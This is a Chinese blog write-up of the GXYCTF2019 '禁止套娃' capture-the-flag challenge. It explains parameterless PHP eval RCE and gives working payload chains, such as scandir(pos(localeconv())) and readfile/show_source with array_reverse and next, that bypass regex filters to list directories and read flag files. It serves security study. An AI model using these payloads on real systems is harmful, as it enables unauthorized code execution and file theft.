无参数RCE实践
来自:
[GXYCTF2019]禁止套娃
首先打开一看,什么都没有:
查看源码也啥都没有,没有hint。
那这种情况下估计是源码泄露,我们用dirsearch扫一下:
扫了一堆git出来,估计就是git泄露。
这里就需要第二个工具githack,拿到源码文件:
打开一看,确定了是文件包含:
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
但是这里有三个正则表达式的函数拦着,第一个preg_match()很显然,我们用不了php伪协议/phar伪协议,这些被ban掉了。
正则表达式的补充:http://c.biancheng.net/view/7569.html
第二个preg_replace意思是传入的exp把值中的整个函数变成了分号 ;
并且必须是变成了分号才能if成功继续进行下去。
百度的解释是:
这段PHP代码首先使用preg_replace函数,它执行一个正则表达式的搜索和替换。在这里,它会搜索'[a-z,_]+((?R)?)'这个正则表达式模式,并且将其替换为NULL。NULL表示删除找到的匹配项,也就是在这里,它将删除找到的函数或方法名及其括号。然后,如果经过这个替换操作后,$_GET['exp']的值变成了';'(也就是原来的函数或方法调用被完全删除),那么if语句的条件就为真,代码块中的内容将被执行。 整体会变成分号。即使用户输入的字符串是'testFunction(arg1, arg2);',经过preg_replace函数处理后,结果会变成';'。这个正则表达式会把整个函数或方法名及其括号替换为分号。
这里就是典型的无参数RCE问题。
可以参考一下这三篇博客,写的很不错:
https://xz.aliyun.com/t/6316#toc-3
https://blog.csdn.net/2302_76827504/article/details/130427099(这个博客里也有引用其他的优质博客,可以都看看)
https://www.xujun.org/note-116037.html
- 由
preg_replace('/[a-z,_]+\((?R)?\)/'
可知,这里只允许无参数的函数传递进来。并且函数名只能为字母,不能包含下划线等其他特殊字符。 - 过滤了很多的关键字:
et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别) 1.png 要怎么取到这个点呢,另一个函数: current()返回数组中的单元,默认取第一个值: 2.png print_r(scandir(current(localeconv())));成功打印出当前目录下文件: 3.png 或者使用print_r(scandir(pos(localeconv())));,pos是current的别名 如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
来看补充:
我们能不能直接读文件? 之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取? 那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢? 首先,我们可以利用getcwd()获取当前目录 ?code=var_dump(getcwd()); string(13) "/var/www/html" 那么怎么进行当前目录的目录遍历呢? 这里用scandir()即可 ?code=var_dump(scandir(getcwd())); array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" } 那么既然不在这一层目录,如何进行目录上跳呢? 我们用dirname()即可 ?code=var_dump(scandir(dirname(getcwd()))); array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" } 那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录 chdir ( string $directory ) : bool 将 PHP 的当前目录改为 directory。 所以我们这里在 dirname(getcwd()) 进行如下设置即可 chdir(dirname(getcwd())) 我们尝试读取/var/www/123 http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 即可进行文件读取。
(来自:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/)
接下来是解决这道题的两个办法:
法一
所需要的基础函数:
localeconv(),回显数组,第一个数组是字符"."点号 pos(),传入数组,回显第一个数组的值,pos可以用current代替 所以pos(localeconv())等价于.号 而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件 再配合print_r函数输出数组
那么payload:
exp=print_r(scandir(pos(localeconv())));
也可以var_dump():
可以看到下标为3是我们的flag.php,也就是倒数第二个。
怎么调用到呢?
这里可以用一个array_reverse()函数翻转数组,然后用next()的方式指向下一个数组,也就是指向了第二个数组,然后用show_source()函数就可以拿flag。
法二
来自:
https://blog.csdn.net/l2872253606/article/details/125246229
利用session_id代替flag.php
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」